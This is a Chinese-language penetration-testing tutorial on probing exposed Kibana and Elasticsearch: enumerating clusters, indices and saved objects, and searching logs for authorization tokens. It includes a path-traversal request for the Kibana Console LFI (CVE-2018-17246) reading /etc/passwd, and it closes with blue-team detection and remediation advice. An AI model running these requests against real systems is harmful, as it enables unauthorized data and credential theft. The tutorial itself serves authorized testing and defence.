Kibana与Elasticsearch检索面打点与接口利用技术

Kibana与Elasticsearch检索面打点与接口利用技术

Kibana 与 Elasticsearch 在渗透测试中属于典型的“检索面与可视化面”目标。它们的价值不在于一个单独后台页面，而在于：

  • Elasticsearch 保存了索引、文档、映射、节点、集群状态和搜索结果
  • Kibana 保存了 data view、saved object、dashboard、discover 查询和 Dev Tools / Console 等交互面

一旦这组组件被暴露到低信任网络、匿名访问过宽、基础认证未启用、代理规则配置错误，攻击者就可能在打点阶段快速获得：

  • 集群状态、节点数量、索引名称和分片信息
  • 日志、监控、审计、业务搜索索引中的文档样本
  • Kibana saved object 中的 dashboard、index pattern、data view、connector 线索
  • Dev Tools / Console 是否可用
  • 历史高危面，如 Console LFI、Timelion 原型污染、老版本 RCE 范围判断

本文只聚焦打点与利用侧，重点记录：

  1. 如何识别 Kibana 与 Elasticsearch
  2. 匿名与弱鉴权情况下能获取哪些对象
  3. 如何通过索引、搜索、saved objects 和 Console 建立攻击画像
  4. 如何判断高危历史接口是否存在
  5. 蓝队如何从访问日志与组件日志中识别这类打点

0. 攻击面概览

0.1 常见路径

首轮至少应枚举：

  • /app/kibana
  • /login
  • /api/status
  • /api/features
  • /api/saved_objects/_find
  • /api/data_views
  • /api/index_patterns/_fields_for_wildcard
  • /api/console/proxy
  • /api/console/api_server
  • /_cluster/health
  • /_cat/indices?v
  • /_cat/nodes?v
  • /_search
  • /_mapping
  • /_aliases
  • /_security/_authenticate

如果目标是较老版本，还应额外注意：

  • /api/console/api_server?sense_version=...
  • /app/monitoring
  • /api/timelion/run

0.2 打点收益优先级

按“最快转成真实攻击价值”的顺序，常见收益可排列为：

  1. 识别 Kibana / Elasticsearch 和认证状态
  2. 枚举集群健康、节点、索引和别名
  3. 用 _search、_mapping、saved objects 回收数据面和可视化面线索
  4. 判断 Kibana Console / API 是否可用于代理查询
  5. 判断历史高危接口是否仍暴露

1. 第一轮打点：确认 Kibana 与 Elasticsearch

1.1 Kibana 页面识别

请求示例

GET /app/kibana HTTP/1.1
Host: kibana.target.example
User-Agent: Mozilla/5.0
Accept: text/html
Connection: close

典型响应示例

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
kbn-name: kibana

常见前端特征包括：

  • Loading Kibana
  • Elastic
  • kbn-name
  • kbn-xpack-sig

1.2 Kibana 状态接口

请求示例

GET /api/status HTTP/1.1
Host: kibana.target.example
Accept: application/json
Connection: close

典型响应示例

{
  "name": "kibana",
  "uuid": "7f3bb11f-2f5e-4d20-a1dd-bac5f1fca999",
  "version": {
    "number": "8.14.1",
    "build_hash": "abc123def456"
  },
  "status": {
    "overall": {
      "level": "available"
    }
  }
}

这条响应的价值包括：

  • 直接确认 Kibana 版本
  • 确认实例在线
  • 帮助判断是否值得继续对历史高危面做版本核查

1.3 Elasticsearch 根识别

请求示例

GET / HTTP/1.1
Host: es.target.example:9200
Accept: application/json
Connection: close

典型响应示例

{
  "name": "es-node-1",
  "cluster_name": "prod-logs",
  "cluster_uuid": "wxyz1234",
  "version": {
    "number": "8.14.1",
    "build_flavor": "default"
  },
  "tagline": "You Know, for Search"
}

这一步可以直接拿到：

  • 集群名
  • 节点名
  • 版本号

如果目标启用了认证，典型失败响应通常是：

{
  "error": {
    "type": "security_exception",
    "reason": "missing authentication credentials for REST request [/]"
  },
  "status": 401
}

即使失败，这种返回也同样有价值，因为它说明：

  • 目标明确是 Elasticsearch
  • security 已启用
  • 但版本、接口路径和认证机制已可被进一步分析

2. 第二轮打点：集群、节点与索引画像

2.1 /_cluster/health

请求示例

GET /_cluster/health?pretty HTTP/1.1
Host: es.target.example:9200
Accept: application/json
Connection: close

典型响应示例

{
  "cluster_name": "prod-logs",
  "status": "green",
  "timed_out": false,
  "number_of_nodes": 5,
  "number_of_data_nodes": 3,
  "active_primary_shards": 187,
  "active_shards": 374
}

这类响应在打点中的价值包括：

  • 判断集群规模
  • 判断节点数量
  • 判断索引和分片大致规模

2.2 /_cat/nodes

请求示例

GET /_cat/nodes?v&h=name,ip,role,heap.percent,cpu,master HTTP/1.1
Host: es.target.example:9200
Accept: text/plain
Connection: close

典型响应示例

name        ip           role heap.percent cpu master
es-node-1   10.10.20.11  dim      53       7   *
es-node-2   10.10.20.12  di       41       3   -
es-node-3   10.10.20.13  di       62       5   -

这一步会直接暴露：

  • 节点 IP
  • 角色
  • 哪台是 master

对后续攻击面画像价值非常高。

2.3 /_cat/indices

请求示例

GET /_cat/indices?v&s=index HTTP/1.1
Host: es.target.example:9200
Accept: text/plain
Connection: close

典型响应示例

health status index                    uuid                   pri rep docs.count store.size
green  open   .kibana_8.14.1_001       z8Y...                 1   1   431        8.2mb
green  open   filebeat-2026.06.13      h2A...                 1   1   12498432   7.3gb
green  open   audit-logs-2026.06.13    1Xc...                 1   1   992233     488mb
green  open   payment-trace-2026.06.13 9Kf...                 1   1   2134211    1.1gb

这类响应会直接暴露：

  • 索引命名习惯
  • 日志类型
  • 时间分片策略
  • 是否存在 .kibana_* 系统索引

索引名本身往往已经足够帮助攻击者判断目标环境中有哪些数据类型和哪些业务系统。

2.4 /_aliases

请求示例

GET /_aliases HTTP/1.1
Host: es.target.example:9200
Accept: application/json
Connection: close

典型响应示例

{
  "payment-trace-2026.06.13": {
    "aliases": {
      "payment-trace": {}
    }
  }
}

别名对打点很有用，因为它会暴露：

  • 逻辑索引名
  • 轮转策略
  • 后续 _search 时更适合打别名还是时间分片索引

3. 第三轮打点：文档、映射与搜索

3.1 读取映射

请求示例

GET /payment-trace/_mapping HTTP/1.1
Host: es.target.example:9200
Accept: application/json
Connection: close

典型响应示例

{
  "payment-trace-2026.06.13": {
    "mappings": {
      "properties": {
        "@timestamp": { "type": "date" },
        "userId": { "type": "keyword" },
        "clientIp": { "type": "ip" },
        "uri": { "type": "keyword" },
        "authorization": { "type": "text" },
        "errorStack": { "type": "text" }
      }
    }
  }
}

这一步的打点价值包括：

  • 识别字段名
  • 判断哪些字段可能包含认证头、Cookie、错误堆栈、路径、内网地址
  • 为后续 _search 提供精确查询字段

3.2 样本查询

请求示例

GET /payment-trace/_search?size=3&pretty HTTP/1.1
Host: es.target.example:9200
Accept: application/json
Connection: close

典型响应示例

{
  "hits": {
    "total": {
      "value": 2134211,
      "relation": "eq"
    },
    "hits": [
      {
        "_index": "payment-trace-2026.06.13",
        "_source": {
          "@timestamp": "2026-06-13T01:51:11.212Z",
          "uri": "/api/order/create",
          "clientIp": "10.10.40.12",
          "authorization": "Bearer eyJhbGciOi...",
          "userId": "10027"
        }
      }
    ]
  }
}

如果目标允许匿名或弱鉴权读取搜索结果，这一步本身就已经构成严重数据泄露。

3.3 精确查询

请求示例

GET /audit-logs-2026.06.13/_search?q=authorization:*&size=5&pretty HTTP/1.1
Host: es.target.example:9200
Accept: application/json
Connection: close

典型响应示例

{
  "hits": {
    "hits": [
      {
        "_source": {
          "authorization": "Basic YWRtaW46QWRtaW4xMjMh",
          "path": "/admin/export",
          "status": 200
        }
      }
    ]
  }
}

这类结果会直接把打点推进到：

  • 凭据回收
  • 管理接口识别
  • 日志索引中的敏感字段定位

4. 第四轮打点：Kibana saved objects 与数据视图

Kibana 自身的价值，不只是它连着 Elasticsearch，而是它保存了大量“如何看这些数据”的元信息。

4.1 saved_objects/_find

请求示例

GET /api/saved_objects/_find?type=index-pattern&per_page=20 HTTP/1.1
Host: kibana.target.example
kbn-xsrf: true
Accept: application/json
Connection: close

典型响应示例

{
  "total": 2,
  "saved_objects": [
    {
      "id": "payment-trace-*",
      "type": "index-pattern",
      "attributes": {
        "title": "payment-trace-*",
        "timeFieldName": "@timestamp"
      }
    },
    {
      "id": "audit-logs-*",
      "type": "index-pattern",
      "attributes": {
        "title": "audit-logs-*",
        "timeFieldName": "@timestamp"
      }
    }
  ]
}

这类响应的价值包括：

  • 直接暴露 data view / index pattern
  • 暴露运维和分析人员实际关注的数据集
  • 为后续 Elasticsearch 直接查询提供目标索引名

4.2 查找 dashboard / visualization

请求示例

GET /api/saved_objects/_find?type=dashboard&search=payment&search_fields=title&per_page=20 HTTP/1.1
Host: kibana.target.example
kbn-xsrf: true
Accept: application/json
Connection: close

典型响应示例

{
  "total": 1,
  "saved_objects": [
    {
      "id": "9fbc1f20-91be-11ef-b3f1-6d9c9e889999",
      "type": "dashboard",
      "attributes": {
        "title": "Payment API Errors"
      }
    }
  ]
}

这一步会帮助你定位：

  • 哪些业务域有独立 dashboard
  • 哪些日志或索引最值得继续探测

4.3 Data Views API

Elastic 官方 Kibana API 文档明确给出了 /api/data_views 这类公开文档接口。对打点而言，它和旧式 index-pattern 资源一样重要。

请求示例

GET /api/data_views HTTP/1.1
Host: kibana.target.example
kbn-xsrf: true
Accept: application/json
Connection: close

典型响应示例

{
  "data_view": [
    {
      "id": "payment-trace-*",
      "name": "payment-trace-*",
      "title": "payment-trace-*"
    }
  ]
}

5. 第五轮打点：Console、Dev Tools 与历史高危接口

5.1 Kibana Console 代理面

Kibana Dev Tools / Console 的危险不在于一个页面，而在于它可能把前端请求转发到 Elasticsearch。若认证与空间控制存在缺陷，攻击者就可能借由 Kibana 间接访问 ES。

请求示例

POST /api/console/proxy?path=_search&method=GET HTTP/1.1
Host: kibana.target.example
kbn-xsrf: true
Content-Type: application/json
Connection: close

{}

典型失败响应示例

{
  "statusCode": 403,
  "error": "Forbidden",
  "message": "Forbidden"
}

即使失败，这类响应也说明：

  • Console 代理路径存在
  • 后续需要判断是认证问题、权限问题还是空间限制

5.2 历史高危接口：Console LFI

公开资料中最常见的 Kibana 历史高危面之一是老版本 Console LFI CVE-2018-17246。对于打点而言，这类接口的价值主要是版本和路径判断，而不是盲目直接推进攻击。

请求示例

GET /api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../etc/passwd HTTP/1.1
Host: kibana.target.example
Connection: close

典型成功响应示例

root:x:0:0:root:/root:/bin/bash

典型失败响应示例

{
  "statusCode": 404,
  "error": "Not Found"
}

这类请求在技术文档中应明确强调：

  • 仅在授权测试场景中验证
  • 更重要的是用它来识别目标是否仍暴露老版本高危面

5.3 旧版 Timelion 与原型污染 / RCE 风险判断

Elastic 官方历史安全通告明确指出，Kibana 旧版本存在原型污染与 Timelion 相关的高危问题，包括 CVE-2019-7609。对当前打点而言，真正的重点不在于直接复现，而在于：

  • 通过 /api/status 或版本信息确认是否落入风险范围
  • 判断是否启用了相关功能面

6. 打点流程建议

更稳的 Kibana / Elasticsearch 打点流程通常如下：

6.1 第一轮：识别与认证状态

优先请求：

  • /app/kibana
  • /api/status
  • /
  • /_security/_authenticate

目标：

  • 确认产品类型
  • 判断版本
  • 判断 security 是否开启

6.2 第二轮：集群与索引

优先请求：

  • /_cluster/health
  • /_cat/nodes
  • /_cat/indices
  • /_aliases

目标：

  • 还原集群规模
  • 还原节点和索引命名

6.3 第三轮：映射与文档

优先请求：

  • /_mapping
  • /_search
  • /_search?q=...

目标：

  • 识别字段
  • 回收样本数据
  • 判断是否存在敏感字段

6.4 第四轮：Kibana saved objects

优先请求：

  • /api/saved_objects/_find
  • /api/data_views

目标：

  • 获取 index pattern / data view
  • 定位 dashboard 与可视化对象

6.5 第五轮：Console 与历史高危面

优先请求：

  • /api/console/proxy
  • /api/console/api_server

目标：

  • 判断 Dev Tools / Console 是否可滥用
  • 判断老版本高危接口是否仍暴露

7. 蓝队检测与处置

7.1 访问日志中的高价值信号

应重点识别：

  • 对 /_cluster/health、/_cat/indices、/_mapping 的枚举
  • 对 /_search 的批量查询
  • 对 /api/saved_objects/_find、/api/data_views 的访问
  • 对 /api/console/proxy、/api/console/api_server 的探测

日志示例

10.10.10.21 - - [13/Jun/2026:02:41:11 +0800] "GET /_cat/indices?v&s=index HTTP/1.1" 200 812 "-" "curl/8.7.1"
10.10.10.21 - - [13/Jun/2026:02:41:18 +0800] "GET /payment-trace/_search?size=3&pretty HTTP/1.1" 200 2917 "-" "curl/8.7.1"
10.10.10.21 - - [13/Jun/2026:02:41:26 +0800] "GET /api/saved_objects/_find?type=index-pattern&per_page=20 HTTP/1.1" 200 743 "-" "curl/8.7.1"

7.2 Kibana 与 Elasticsearch 日志中的调查点

组件日志常能提供：

  • security_exception
  • missing authentication credentials
  • Console 代理失败
  • 对 _search、_mapping、_cat 的请求痕迹

Kibana 日志示例

{"type":"response","@timestamp":"2026-06-13T02:41:26Z","method":"get","statusCode":200,"req":{"url":"/api/saved_objects/_find?type=index-pattern&per_page=20","remoteAddress":"10.10.10.21"}}

Elasticsearch 日志示例

[2026-06-13T02:41:18,117][INFO ][o.e.x.s.a.AuthenticationService] [es-node-1] Authentication of [anonymous_user] was terminated by realm [reserved]

7.3 处置建议

发现 Kibana / Elasticsearch 正在被打点后，应优先做：

  1. 检查 Elasticsearch 是否直接暴露在低信任网络
  2. 检查 Kibana 是否允许匿名访问 saved objects、Console 或 dashboard
  3. 审核索引中是否存在敏感日志字段与明文令牌
  4. 关闭不必要的 Console/Dev Tools 面向不可信用户的访问
  5. 核查是否存在老版本高危面

长期建议：

  • 不直接暴露 Elasticsearch REST API
  • 对 Kibana 做身份认证和空间隔离
  • 限制 Dev Tools / Console 使用范围
  • 对 _cat、_search、_mapping 和 saved object API 建立单独告警
  • 定期清理索引中不应长期保存的敏感字段

8. 复盘清单

8.1 红队侧

  • 是否确认了 Kibana 与 Elasticsearch 的版本和认证状态
  • 是否枚举了 nodes、indices、aliases
  • 是否回收了 mapping 与样本文档
  • 是否拿到了 data views / index pattern / dashboard 线索
  • 是否验证了 Console 和历史高危接口面

8.2 蓝队侧

  • 是否能识别 _cat、_mapping、_search 的连续打点
  • 是否能识别对 Kibana saved objects 和 data views 的枚举
  • 是否能识别对 Console 代理或旧接口的探测
  • 是否能从日志中区分匿名访问与已认证异常访问

8.3 应急侧

  • 是否确认敏感索引和文档是否已被回收
  • 是否确认 Console / Dev Tools 是否被外部使用
  • 是否确认是否存在老版本高危路径暴露
  • 是否完成 Kibana 和 ES 的网络与权限收敛

9. 总结

Kibana 与 Elasticsearch 的风险不只是“能不能看图表”，而是它们经常在同一套 API 面上同时暴露：

  • 集群状态
  • 节点与索引
  • 日志与文档样本
  • saved objects 与 data views
  • Console 与历史高危接口

对打点来说，更值得沉淀的方法学是：

  • 先识别版本与认证状态
  • 再枚举集群、索引和映射
  • 再回收样本数据和 Kibana 元对象
  • 最后验证 Console 与历史高危面

这样才能把“搜索面暴露”真正转化成结构化的攻击价值判断。

参考资料